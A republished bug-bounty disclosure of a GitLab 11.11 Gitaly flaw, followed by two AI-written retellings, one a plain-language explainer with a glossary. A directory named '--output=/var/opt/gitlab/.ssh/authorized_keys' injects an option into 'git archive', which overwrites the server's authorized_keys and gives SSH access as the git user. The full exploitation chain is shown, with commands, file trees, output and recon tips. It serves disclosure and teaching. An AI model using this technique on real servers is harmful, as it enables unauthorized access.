Skip to content
RCE Disclosed report Advanced

Local files could be overwritten in GitLab, leading to remote command execution

A GitLab feature that lets users download a repository directory passed the directory name directly to a git archive command, so a directory named with a leading double dash could inject command-line options. An attacker could use this to overwrite arbitrary files, such as the SSH authorized_keys file, and then log in as the git user, achieving remote code execution.

saltyyolk Follow

Originally disclosed on HackerOne

Bounty$12,000 Critical View original
  • Triaged in 1 hour
  • Fixed in 12 days
  • Paid in 12 days
  • Disclosed after 55 days

Summary

Arbitrary file overwrite

A new feature (download a directory of a repository) in GitLab 11.11 introduced some changes in ./internal/service/repository/archive.go of Gitaly.

Go
func handleArchive(ctx context.Context, writer io.Writer, in *gitalypb.GetArchiveRequest, compressCmd *exec.Cmd, format string, path string) error {                                                           
        archiveCommand, err := git.Command(ctx, in.GetRepository(), "archive",                          
                "--format="+format, "--prefix="+in.GetPrefix()+"/", in.GetCommitId(), path) 
...

A new parameter path is concatenated to the command, the parameter is supposed to carry the path of the directory to be downloaded in the repository. However, Gitaly could be misled by an attacker if the path starts with double dashes, for example:

Shell
$ tree
.
└── --output=
    └── var
        └── opt
            └── gitlab
                └── .ssh
                    └── authorized_keys
                        └── id_ed25519.pub

Suppose we have a repository which has only one file id_ed25519.pub (contains my pubkey) in directory --output=/var/opt/gitlab/.ssh/authorized_keys/. What happens in Gitaly when I click download directory as tar under this directory? The actual command get executed here is:

git --git-dir=DIR_TO_REPO archive --format tar --prefix=/ COMMIT_ID --output=/var/opt/gitlab/.ssh/authorized_keys

The content of the archive gets written to the /var/opt/gitlab/.ssh/authorized_keys file instead of transferred to the user.

RCE

The reason I choose tar as the format is that tar doesn't compress the content, all contents in the repository are preserved with some tar headers concatenated into the output.

In the above example: Content of id_ed25519.pub

#
ssh-ed25519 ██████
#

Content of the overwritten authorized_keys

~/workspace/gitlab/archive$ docker exec -ti e1a bash
root@localhost:/# cat /var/opt/gitlab/.ssh/authorized_keys 
pax_global_header00006660000000000000000000000064134712530140014512gustar00rootroot0000000000000052 comment=412e285af38342030e5e30fcba77cb4296fb245d
archive-master---output=-var-opt-gitlab-.ssh-authorized_keys/000077500000000000000000000000001347125301400244635ustar00rootroot00000000000000archive-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/000077500000000000000000000000001347125301400262525ustar00rootroot00000000000000archive-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/000077500000000000000000000000001347125301400270425ustar00rootroot00000000000000archive-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/000077500000000000000000000000001347125301400276445ustar00rootroot00000000000000archive-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/000077500000000000000000000000001347125301400311065ustar00rootroot00000000000000archive-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/.ssh/000077500000000000000000000000001347125301400317615ustar00rootroot00000000000000authorized_keys/000077500000000000000000000000001347125301400351135ustar00rootroot00000000000000archive-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/.sshid_ed25519.pub000066400000000000000000000001661347125301400373000ustar00rootroot00000000000000archive-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/.ssh/authorized_keys#
ssh-ed25519 ████████ 
#

SSH server allows dummy content in the authorized_keys file, as long as the public keys are started with a new line.

So, after the exploit:

$ ssh -i ~/.ssh/id_ed25519 [email protected]

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ whoami
git
$ 

Steps to reproduce

As stated above.

Impact

For most self-hosted single instance GitLab users, this is a RCE issue.

For those who has Gitaly running in different OS with gitlab-shell, the impact varies and depends on different circumstances.

For GitLab.com, as the described PoC is destructive and it's hard to observe if I choose some other files to overwrite. I didn't test and I want to leave the evaluation of impact to you guys. :p

Results of GitLab environment info

root@localhost:/# gitlab-rake gitlab:env:info

System information
System:		
Current User:	git
Using RVM:	no
Ruby Version:	2.5.3p105
Gem Version:	2.7.9
Bundler Version:1.17.3
Rake Version:	12.3.2
Redis Version:	3.2.12
Git Version:	2.21.0
Sidekiq Version:5.2.7
Go Version:	unknown

GitLab information
Version:	11.11.0
Revision:	3e8ca2fb781
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	9.6.11
URL:		http://10.26.0.3
HTTP Clone URL:	http://10.26.0.3/some-group/some-project.git
SSH Clone URL:	[email protected]:some-group/some-project.git
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers: 

GitLab Shell
Version:	9.1.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

Impact

OS command injections usually lead to serious results, remote code execution in this case.

The original report as published on HackerOne, by saltyyolk. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

GitLab is a web-based Git repository manager. Among its features is the ability to download a directory of a repository as an archive, which the web front end hands off to Gitaly, the service that performs Git operations on behalf of GitLab. In GitLab 11.11 a new feature, downloading a directory of a repository, introduced changes in ./internal/service/repository/archive.go of Gitaly. The report examines how that feature builds the underlying git archive command and what happens when the directory path is attacker-controlled.

Setup

The researcher worked against a self-hosted GitLab instance. The environment information reported by gitlab-rake gitlab:env:info was:

Text
root@localhost:/# gitlab-rake gitlab:env:info

System information
System:
Current User:	git
Using RVM:	no
Ruby Version:	2.5.3p105
Gem Version:	2.7.9
Bundler Version:	1.17.3
Rake Version:	12.3.2
Redis Version:	3.2.12
Git Version:	2.21.0
Sidekiq Version:	5.2.7
Go Version:	unknown

GitLab information
Version:	11.11.0
Revision:	3e8ca2fb781
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	9.6.11
URL:		http://[redacted]
HTTP Clone URL:	http://[redacted]/some-group/some-project.git
SSH Clone URL:	[redacted]:some-group/some-project.git
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	9.1.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

The precondition is a repository the attacker controls, containing a directory whose name is crafted, and the ability to trigger the download of that directory as an archive. The proof of concept used a local Docker container (docker exec -ti e1a bash) to inspect the result on the server side.

Finding it

The new directory-download feature passes the requested directory path into the git archive invocation. In ./internal/service/repository/archive.go the relevant code is:

Go
func handleArchive(ctx context.Context, writer io.Writer, in *gitalypb.GetArchiveRequest, compressCmd *exec.Cmd, format string, path string) error {
        archiveCommand, err := git.Command(ctx, in.GetRepository(), "archive",
                "--format="+format, "--prefix="+in.GetPrefix()+"/", in.GetCommitId(), path)
...

The path parameter is concatenated to the command as an argument, and it is supposed to carry the path of the directory to be downloaded inside the repository. The researcher noticed that Gitaly could be misled if the path starts with double dashes. That is the whole bug: a user-controlled string that begins with -- reaches the argument list of git archive.

Exploitation

Step 1: Create a directory whose name is a Git option

The attacker creates a directory in the repository whose name is itself a command-line option. The example tree is:

Shell
$ tree
.
└── --output=
    └── var
        └── opt
            └── gitlab
                └── .ssh
                    └── authorized_keys
                        └── id_ed25519.pub

So the repository contains a single file, id_ed25519.pub, holding the attacker's public key, inside the directory --output=/var/opt/gitlab/.ssh/authorized_keys/. The directory name encodes the target file path through the --output= option.

Step 2: Trigger the directory download

When the attacker clicks download directory as tar under this directory, Gitaly runs:

git --git-dir=DIR_TO_REPO archive --format tar --prefix=/ COMMIT_ID --output=/var/opt/gitlab/.ssh/authorized_keys

The crafted path is appended as the final argument, and because it starts with --output=, Git treats it as the output file option. The archive content is written to /var/opt/gitlab/.ssh/authorized_keys instead of being transferred to the user. That is the arbitrary file overwrite.

Step 3: Choose tar so the payload survives

The researcher chose tar as the format because tar does not compress the content: everything in the repository is preserved, with tar headers concatenated into the output. The file id_ed25519.pub contains:

#
ssh-ed25519 ██████
#

After the overwrite, the authorized_keys file on the server contains the tar stream, with the public key embedded near the end:

~/workspace/gitlab/archive$ docker exec -ti e1a bash
root@localhost:/# cat /var/opt/gitlab/.ssh/authorized_keys
[redacted] comment=[redacted]
archive-master---output=-var-opt-gitlab-.ssh-authorized_keys/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/.ssh/[redacted]/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/.sshid_ed25519.[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/.ssh/authorized_keys#
ssh-ed25519 ████████
#

The SSH server tolerates dummy content in authorized_keys as long as the public keys start on a new line, which is why the tar headers before the key do not prevent authentication.

Step 4: Log in over SSH

With the key now trusted, the attacker connects:

$ ssh -i ~/.ssh/id_ed25519 [redacted]

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ whoami
git
$

The session runs as the git user.

Root cause

The mistake is that the user-supplied path is concatenated to the git archive command, so a path starting with double dashes is treated as an option. Git's option parser therefore accepts it as an option, and --output= redirects the archive to an arbitrary file path writable by the Gitaly process. The tar format then makes the overwritten file a valid authorized_keys because the key material is preserved verbatim.

Impact

For most self-hosted single-instance GitLab users this is a remote code execution issue: the overwritten authorized_keys gives the attacker SSH access as the git user. For deployments where Gitaly runs on a different OS from gitlab-shell, the impact varies and depends on the circumstances. For GitLab.com the researcher did not test, because the described proof of concept is destructive and it is hard to observe whether some other file was overwritten; the evaluation of impact there was left to the GitLab team. More generally, OS command injection of this kind usually leads to serious results, remote code execution in this case.

Fix

The report does not describe the fix that was applied.

  1. Other git archive options that write files, such as --output= with a different target path, to confirm the overwrite primitive is not limited to one file.
  2. Other Git subcommands that receive a user-controlled path argument (for example pathspecs in diff or log endpoints), looking for the same missing -- separator.
  3. Formats other than tar: check whether a compressed format still leaves usable content in the target file, or whether the overwrite alone is enough for a denial of service.
  4. Paths that begin with a single dash, to see whether short options are also accepted.

A positive result is a file on the server whose content is the archive stream, or an authentication or behaviour change caused by the overwritten file.

This class of bug hides where a web feature passes a user-chosen string into a command-line tool as an argument, especially when the string is a path or a name that the tool also accepts as an option. During recon, look for features that shell out to Git or other CLI tools with values taken from the request, and for parameters whose values are used verbatim rather than validated against a known set. The researcher demonstrated impact by overwriting authorized_keys and logging in over SSH as the git user, which turned a file-write primitive into a clear RCE and made the severity unambiguous.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

GitLab is a website where teams keep and share computer code. Think of it as a shared online folder for a project, with extra tools built on top. One of those tools lets you download a folder from a project as a single packed file, called an archive, so you can keep a copy on your own computer.

Behind the website, GitLab does not do all the work itself. It asks a helper program called Gitaly to run the actual Git commands. Git is the underlying tool that stores and packs code; Gitaly is the service that runs Git on GitLab's behalf. When you click a download button, GitLab tells Gitaly which folder you want, and Gitaly builds a command for Git that packs that folder up.

The bug is in how that command is built. The name of the folder you ask for is glued onto the end of the command. If the folder name starts with two dashes (--), Git stops treating it as a folder name and treats it as an instruction, an option. The researcher created a folder whose name was itself an instruction telling Git where to write the packed file. The result: instead of the archive being sent to the person who clicked download, it was written over a sensitive file on the server.

That sensitive file is authorized_keys. It is the list of public keys that an SSH server trusts. SSH is the standard way to open a secure command-line session on a remote computer. If your key is on that list, the server lets you in without a password. By overwriting the list with a file that contained the attacker's own key, the researcher could log in to the server as the git user. That is remote code execution: running your own commands on someone else's machine over the network.

Context

GitLab is a web-based Git repository manager. A repository is a project's collection of files plus its full history of changes. Among GitLab's features is the ability to download a directory of a repository as an archive, which the web front end hands off to Gitaly, the service that performs Git operations on behalf of GitLab. In GitLab 11.11 a new feature, downloading a directory of a repository, introduced changes in ./internal/service/repository/archive.go of Gitaly. The report examines how that feature builds the underlying git archive command and what happens when the directory path is attacker-controlled.

A few words to make that paragraph less dense. An archive is one file that contains many files, like a box packed for moving. git archive is the Git command that builds such a box from a repository. The word "attacker-controlled" means a value that the person using the website gets to choose, so it cannot be trusted.

Setup

The researcher worked against a self-hosted GitLab instance. Self-hosted means the software runs on a server that the organisation controls, rather than on GitLab's own public service. The environment information reported by gitlab-rake gitlab:env:info was:

Text
root@localhost:/# gitlab-rake gitlab:env:info

System information
System:
Current User:	git
Using RVM:	no
Ruby Version:	2.5.3p105
Gem Version:	2.7.9
Bundler Version:	1.17.3
Rake Version:	12.3.2
Redis Version:	3.2.12
Git Version:	2.21.0
Sidekiq Version:	5.2.7
Go Version:	unknown

GitLab information
Version:	11.11.0
Revision:	3e8ca2fb781
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	9.6.11
URL:		http://[redacted]
HTTP Clone URL:	http://[redacted]/some-group/some-project.git
SSH Clone URL:	[redacted]:some-group/some-project.git
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	9.1.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

Line by line, in plain words:

  • gitlab-rake gitlab:env:info is a built-in maintenance command that prints a summary of the installation. The command prints a summary of the installation, including the version and components.
  • Current User: git shows the account the software runs as. This matters later, because that is the account the attacker ends up controlling.
  • Ruby Version, Gem Version, Bundler Version, Rake Version, Redis Version, Git Version, Sidekiq Version list the supporting software and their versions. Git Version: 2.21.0 is the version of Git that Gitaly calls.
  • GitLab information gives the product version, 11.11.0.
  • URL, HTTP Clone URL and SSH Clone URL show the addresses of the instance.
  • GitLab Shell is the small component that handles SSH connections to GitLab. Its version is 9.1.0.
  • Repository storage paths shows where repositories live on disk, and Git shows the path of the Git binary that GitLab uses.

The precondition is a repository the attacker controls, containing a directory whose name is crafted, and the ability to trigger the download of that directory as an archive. The proof of concept used a local Docker container (docker exec -ti e1a bash) to inspect the result on the server side. Docker is a way to run software in an isolated box on a machine; docker exec opens a shell inside a running box so you can look around. The commands open a shell in the container and print the overwritten file.

Finding it

The new directory-download feature passes the requested directory path into the git archive invocation. In ./internal/service/repository/archive.go the relevant code is:

Go
func handleArchive(ctx context.Context, writer io.Writer, in *gitalypb.GetArchiveRequest, compressCmd *exec.Cmd, format string, path string) error {
        archiveCommand, err := git.Command(ctx, in.GetRepository(), "archive",
                "--format="+format, "--prefix="+in.GetPrefix()+"/", in.GetCommitId(), path)
...

This is Go, the programming language Gitaly is written in. Line by line:

  • func handleArchive(...) declares a function named handleArchive. A function is a named block of code that does one job. This one handles an archive request.
  • The parameters in the brackets are the inputs. ctx carries request context, writer is where the result is written, in is the incoming request with its details, compressCmd is a compression command, format is the archive format, and path is the directory the user asked for.
  • archiveCommand, err := git.Command(...) builds and runs a Git command, storing the command and any error.
  • "archive" is the Git subcommand being run, so the full command is git archive.
  • "--format="+format glues the format onto the --format= option, for example --format=tar.
  • "--prefix="+in.GetPrefix()+"/" sets a prefix, a folder name placed in front of every file inside the archive.
  • in.GetCommitId() is the version of the repository to pack.
  • path is the user-chosen directory, passed as the last argument.

The path parameter is concatenated to the command as an argument, and it is supposed to carry the path of the directory to be downloaded inside the repository. The researcher noticed that Gitaly could be misled if the path starts with double dashes: Git would then interpret the value as an option rather than as a pathspec. A pathspec is simply the name of the file or folder you want Git to act on. An option is a setting that changes how a command behaves, and by convention options start with a dash. That is the whole bug: a user-controlled string that begins with -- reaches the argument list of git archive.

Exploitation

Step 1: Create a directory whose name is a Git option

The attacker creates a directory in the repository whose name is itself a command-line option. The example tree is:

Shell
$ tree
.
└── --output=
    └── var
        └── opt
            └── gitlab
                └── .ssh
                    └── authorized_keys
                        └── id_ed25519.pub

tree is a small command that draws a folder structure as a diagram. Reading it:

  • The top folder of the repository contains one folder, named --output=.
  • Inside it, folders are nested with the names var, opt, gitlab, .ssh and authorized_keys.
  • At the bottom sits a single file, id_ed25519.pub.

So the repository contains a single file, id_ed25519.pub, holding the attacker's public key, inside the directory --output=/var/opt/gitlab/.ssh/authorized_keys/. The directory name encodes the target file path through the --output= option. A public key is the half of a key pair that you are allowed to share; the matching private key stays on your own machine and proves who you are.

Step 2: Trigger the directory download

When the attacker clicks download directory as tar under this directory, Gitaly runs:

git --git-dir=DIR_TO_REPO archive --format tar --prefix=/ COMMIT_ID --output=/var/opt/gitlab/.ssh/authorized_keys

Line by line:

  • git is the program being run.
  • --git-dir=DIR_TO_REPO tells Git where the repository is stored on disk. DIR_TO_REPO is a placeholder for that location.
  • archive is the subcommand that packs files into an archive.
  • --format tar says to produce an uncompressed tar archive.
  • --prefix=/ puts a leading slash in front of the names inside the archive.
  • COMMIT_ID is a placeholder for the version of the repository to pack.
  • --output=/var/opt/gitlab/.ssh/authorized_keys is the crafted folder name, now sitting where a folder name should be. Because it starts with --, Git reads it as an instruction: write the result to this file.

The crafted path is appended as the final argument, and because it starts with --output=, Git treats it as the output file option. The archive content is written to /var/opt/gitlab/.ssh/authorized_keys instead of being transferred to the user. That is the arbitrary file overwrite: the attacker gets to choose which file on the server is replaced, without having any normal right to write there.

Step 3: Choose tar so the payload survives

The researcher chose tar as the format because tar does not compress the content: everything in the repository is preserved, with tar headers concatenated into the output. A tar file is a long stream of file contents, each preceded by a small block of bookkeeping text called a header. Nothing is squeezed or encoded, so the original bytes of each file appear unchanged in the stream. The file id_ed25519.pub contains:

#
ssh-ed25519 ██████
#

That is a public key in the usual SSH format, with a comment line above and below. The key material itself has been replaced with ██████ here.

After the overwrite, the authorized_keys file on the server contains the tar stream, with the public key embedded near the end:

~/workspace/gitlab/archive$ docker exec -ti e1a bash
root@localhost:/# cat /var/opt/gitlab/.ssh/authorized_keys
[redacted] comment=[redacted]
archive-master---output=-var-opt-gitlab-.ssh-authorized_keys/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/.ssh/[redacted]/[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/.sshid_ed25519.[redacted]-master---output=-var-opt-gitlab-.ssh-authorized_keys/--output=/var/opt/gitlab/.ssh/authorized_keys#
ssh-ed25519 ████████
#

Line by line:

  • docker exec -ti e1a bash opens a shell inside the running container named e1a, so the researcher can look at the server's files as if sitting at its keyboard.
  • cat /var/opt/gitlab/.ssh/authorized_keys prints the contents of the overwritten file.
  • The long unbroken text is the tar stream. Each chunk of digits and words such as ustar00rootroot is a tar header: file name, permissions, owner and size, written as plain text.
  • Near the end, id_ed25519.pub appears, followed by the actual key lines starting with # and ssh-ed25519.

The SSH server tolerates dummy content in authorized_keys as long as the public keys start on a new line, which is why the tar headers before the key do not prevent authentication. The server tolerates dummy content in the file as long as the public keys start on a new line.

Step 4: Log in over SSH

With the key now trusted, the attacker connects:

$ ssh -i ~/.ssh/id_ed25519 [redacted]

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ whoami
git
$

Line by line:

  • ssh is the program that opens a secure remote session.
  • -i ~/.ssh/id_ed25519 tells it to use the private key stored at that path, the partner of the public key that was planted on the server.
  • [redacted] is the account to log in as and the server address.
  • The block of text about Ubuntu is the welcome message the server prints after a successful login. Ubuntu is the operating system of the server.
  • whoami asks the system which user the session belongs to, and the answer is git.

The session runs as the git user. That is the step that turns a file overwrite into remote code execution: the attacker now has a command line on the server and can run whatever the git account is allowed to run.

Root cause

The mistake is that the user-supplied path is concatenated to the git archive command, so a path starting with double dashes is treated as an option. Git's option parser therefore accepts it as an option, and --output= redirects the archive to an arbitrary file path writable by the Gitaly process. The tar format then makes the overwritten file a valid authorized_keys because the key material is preserved verbatim.

A -- separator is a convention on the command line: it tells a program that everything after it is a plain name, never an option. Without it, a name that happens to start with a dash is indistinguishable from a setting.

Impact

For most self-hosted single-instance GitLab users this is a remote code execution issue: the overwritten authorized_keys gives the attacker SSH access as the git user. For deployments where Gitaly runs on a different OS from gitlab-shell, the impact varies and depends on the circumstances. For GitLab.com the researcher did not test, because the described proof of concept is destructive and it is hard to observe whether some other file was overwritten; the evaluation of impact there was left to the GitLab team. More generally, OS command injection of this kind usually leads to serious results, remote code execution in this case. OS command injection means letting a user's text slip into a command that the operating system runs, so the user's words become the computer's instructions.

Fix

The report does not describe the fix that was applied.

  1. Other git archive options that write files, such as --output= with a different target path, to confirm the overwrite primitive is not limited to one file.
  2. Other Git subcommands that receive a user-controlled path argument (for example pathspecs in diff or log endpoints), looking for the same missing -- separator.
  3. Formats other than tar: check whether a compressed format still leaves usable content in the target file, or whether the overwrite alone is enough for a denial of service.
  4. Paths that begin with a single dash, to see whether short options are also accepted.

A positive result is a file on the server whose content is the archive stream, or an authentication or behaviour change caused by the overwritten file. A denial of service means making a service unusable rather than taking it over.

This class of bug hides where a web feature passes a user-chosen string into a command-line tool as an argument, especially when the string is a path or a name that the tool also accepts as an option. During recon, look for features that shell out to Git or other CLI tools with values taken from the request, and for parameters whose values are used verbatim rather than validated against a known set. Recon here means the early survey of a target to see what it does and where it might be weak. The researcher demonstrated impact by overwriting authorized_keys and logging in over SSH as the git user, which turned a file-write primitive into a clear RCE and made the severity unambiguous.

Glossary

  • Archive: a single file that packs many files together, like a box for moving.
  • Argument: one word or value passed to a command on the command line.
  • Attacker-controlled: a value that the person using the website chooses, so it cannot be trusted.
  • authorized_keys: the file on an SSH server listing the public keys that are allowed to log in.
  • Command injection: a bug where user text becomes part of a command the computer runs.
  • Commit ID: the identifier of one saved version of a repository.
  • Docker: software that runs programs in isolated boxes called containers.
  • Gitaly: the GitLab service that runs Git commands on GitLab's behalf.
  • Git: the tool that stores code and its history.
  • GitLab: a website for hosting and managing code repositories.
  • GitLab Shell: the GitLab component that handles SSH connections.
  • Header: the bookkeeping block at the start of each file inside a tar archive.
  • Option: a setting on a command, usually starting with a dash, that changes how it behaves.
  • OS command injection: command injection where the command is run by the operating system itself.
  • Pathspec: the name of a file or folder that a Git command should act on.
  • Private key: the secret half of a key pair, kept on your own machine, used to prove who you are.
  • Public key: the shareable half of a key pair, placed on servers that should let you in.
  • RCE (remote code execution): running your own commands on someone else's machine over a network.
  • Repository: a project's files plus their full history of changes.
  • Self-hosted: software run on a server the organisation controls, not on the vendor's public service.
  • SSH: the standard way to open a secure command-line session on a remote computer.
  • tar: a packing format that stores files one after another without compressing them.
  • Tree: a command that draws a folder structure as a diagram.

More by saltyyolk

View all

7 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.